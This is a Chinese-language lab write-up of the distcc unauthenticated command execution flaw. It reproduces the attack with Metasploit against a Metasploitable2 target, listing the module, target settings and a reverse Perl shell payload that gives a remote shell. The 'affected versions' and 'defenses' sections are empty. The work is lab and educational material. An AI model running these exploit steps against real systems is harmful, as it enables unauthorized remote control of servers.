一、漏洞介绍
基本信息
distcc是一个分布式的c编译器,可以把一个大型的项目的编译任务(比如linux内核)分割到一个服务器集群,让多个服务器同时编译
核心问题
配置不严格 + 无身份验证
攻击流程
攻击者 ──→ 连接目标:3632 ──→ 发送恶意编译命令 ──→ 服务器执行任意系统命令一句话类比:"请了几个临时工(Distcc服务器)帮忙搬砖(编译代码),但没查身份证(无认证),坏人混进去说'先别搬砖,去把保险箱搬来'(执行恶意命令),临时工就照做了。"
影响版本
防御措施
二、msf复现
1.准备工作
攻击机:192.168.68.128(kalilinux)
目标靶机:192.168.68.135(metasploitable2-linux)
2.msf复现
打开kali终端
1.启动msf msfconsole
2.search
search cve-2004-26783.使用漏洞模块
use exploit/unix/misc/distcc_exec 4.查看需要配置什么参数
show options
这个漏洞的配置还是比较简单,我们只需要配置RHOSTS和RPORT,这里端口靶机也是3632(使用nmap对靶机扫描)
5.配置参数
set RHOSTS 192.168.68.135
set RPORT 3632
set payload cmd/unix/reverse_perltips:对于目标靶机而言无法使用默认的payload,可能是目标靶机的默认shell不是bash,是/bin/sh或者其他更轻量的shell,所以换成了兼容性更好的payload,确保可以顺利执行
6.运行
执行 run,可以看到成功进入了目标靶机的终端
